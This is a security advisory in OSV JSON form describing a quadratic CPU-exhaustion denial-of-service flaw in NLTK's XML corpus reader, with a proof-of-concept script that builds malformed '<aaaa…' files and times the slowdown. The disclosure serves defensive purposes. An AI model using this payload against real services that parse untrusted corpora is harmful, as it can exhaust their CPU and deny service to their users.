CVE-2026-81723: NLTK Quadratic CPU Exhaustion Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vp2x-qp44-57v7",
  "modified" : "2026-09-02T14:34:11Z",
  "published" : "2026-09-02T14:34:11Z",
  "aliases" : [ "CVE-2026-81723" ],
  "summary" : "NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`",
  "details" : "## Summary\n\n`XMLCorpusView._read_xml_fragment()` reads a corpus file in 1 KiB blocks, appending\neach block to a growing `fragment` string, then calls `_VALID_XML_RE.match(fragment)`\non the full accumulated buffer every iteration. Because each iteration rescans the\nentire accumulated fragment, the total amount of work grows quadratically with input\nsize.\n\nCommit `c9c332284` (CWE-1333) made each `match()` call linear. The quadratic behavior\nis separate: the loop calls `match()` once per 1 KiB block, each time on a longer\nbuffer.\n\nOn the test system, an 8 MiB malformed XML file consumed approximately 48 CPU-seconds\nthrough the public `BNCCorpusReader.words()` API with no source modification. Absolute\ntimings vary by hardware. `_read_xml_fragment()` imposes no limit on fragment size or\niteration count.\n\n## Details\n\n**File:** `nltk/corpus/reader/xmldocs.py`  \n**Function:** `XMLCorpusView._read_xml_fragment()`, lines 261–308\n\nThe relevant loop:\n\n```python\nfragment = \"\"\nwhile True:\n    fragment += stream.read(self._BLOCK_SIZE)      # grows by 1 KiB per iteration\n    if self._VALID_XML_RE.match(fragment):         # rescans full buffer each time\n        return fragment\n    ...\n    last_open_bracket = fragment.rfind(\"<\")\n    if last_open_bracket > 0:                      # False for single-'<' payload\n        if self._VALID_XML_RE.match(fragment[:last_open_bracket]):\n            return ...\n    # loop continues\n```\n\nFor a payload of `b'<' + b'a' * (N-1)`:\n\n- For this malformed input, `_VALID_XML_RE.match(fragment)` does not succeed because\n  the unterminated tag prevents the expression from matching before EOF.\n- `fragment.rfind(\"<\")` returns `0`; the guard `last_open_bracket > 0` is `False`, so\n  the backtrack branch is never taken.\n- The only exit is EOF, after all N bytes are consumed.\n\n**Affected readers** -> readers that rely on `XMLCorpusView`, including\n`BNCCorpusReader`, `NPSChatCorpusReader`, `SemcorCorpusReader`, `MTECorpusReader`,\n`NKJPCorpusReader`, `FrameNetCorpusReader`, `VerbNetCorpusReader`, and direct\n`XMLCorpusView` instantiation. `XMLCorpusReader.xml()` is not affected -> it calls\n`defusedxml.safe_parse()`.\n\n## PoC\n\nRequires only `pip install nltk`. No corpus data needed.\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom time import perf_counter\nfrom nltk.corpus.reader.bnc import BNCCorpusReader\n\nSIZES_KIB = (256, 512, 1024, 2048, 4096, 8192)\nresults = []\nwith TemporaryDirectory() as directory:\n    root = Path(directory)\n    malformed = root / \"unterminated.xml\"\n    for kib in SIZES_KIB:\n        malformed.write_bytes(b\"<\" + b\"a\" * (kib * 1024 - 1))\n        t = perf_counter()\n        try:\n            list(BNCCorpusReader(str(root), [malformed.name]).words())\n        except ValueError as e:\n            assert \"tag not closed\" in str(e)\n        results.append(perf_counter() - t)\n\nprint(\"KiB      seconds   growth\")\nfor i, (kib, elapsed) in enumerate(zip(SIZES_KIB, results)):\n    ratio = \"-\" if i == 0 else f\"{elapsed / results[i-1]:.2f}x\"\n    print(f\"{kib:5d}  {elapsed:9.3f}  {ratio}\")\n```\n\nRuntime should increase by approximately fourfold for each doubling of input size,\nalthough absolute timings vary by hardware.\n\nDuring verification, `_VALID_XML_RE.match()` was instrumented to record the size of\neach input. For a 256 KiB malformed file it was invoked 257 times on monotonically\nincreasing buffers (1024, 2048, …, 262144 bytes), with the final call occurring after\nEOF. This confirms that every iteration rescans the accumulated fragment.\n\n## Impact\n\nApplications that process attacker-controlled XML corpus files through an affected reader\nare vulnerable. The attacker needs only write access to a path the reader will open. No\nNLTK credentials or special privileges required. Offline tools reading only trusted\nlocal corpora are not at risk.\n\n**Affected versions:** Verified in NLTK 3.9.4, 3.10.0, and the current develop branch.\nHistorical inspection indicates the same loop structure has existed since the\nintroduction of `XMLCorpusView` (2007), but only the listed versions were\nexperimentally verified. No patch exists in any published release.\n\nThis issue results in CPU exhaustion and may allow denial of service in applications\nthat process attacker-controlled XML corpus files.\n\n## Suggested Fix\n\nAvoid rescanning the accumulated fragment from the beginning after each 1 KiB read.\nIncremental parsing, bounded fragment accumulation, or another streaming approach would\neliminate the quadratic behavior while preserving existing semantics.\n\nA regression test should verify that `BNCCorpusReader.words()` raises `ValueError`\nwithin a fixed timeout (e.g. 5 seconds) against a 2 MiB malformed input. The existing\n`test_xmldocs_security.py` covers only the prior ReDoS payloads and does not exercise\nthis path.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "nltk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.10.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/security/advisories/GHSA-vp2x-qp44-57v7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-81723"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nltk/nltk"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/releases/tag/v3.10.3"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/nltk-before-3.10.3-quadratic-cpu-exhaustion-via-xmlcorpusview"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-407" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-02T14:34:11Z",
    "nvd_published_at" : null
  }
}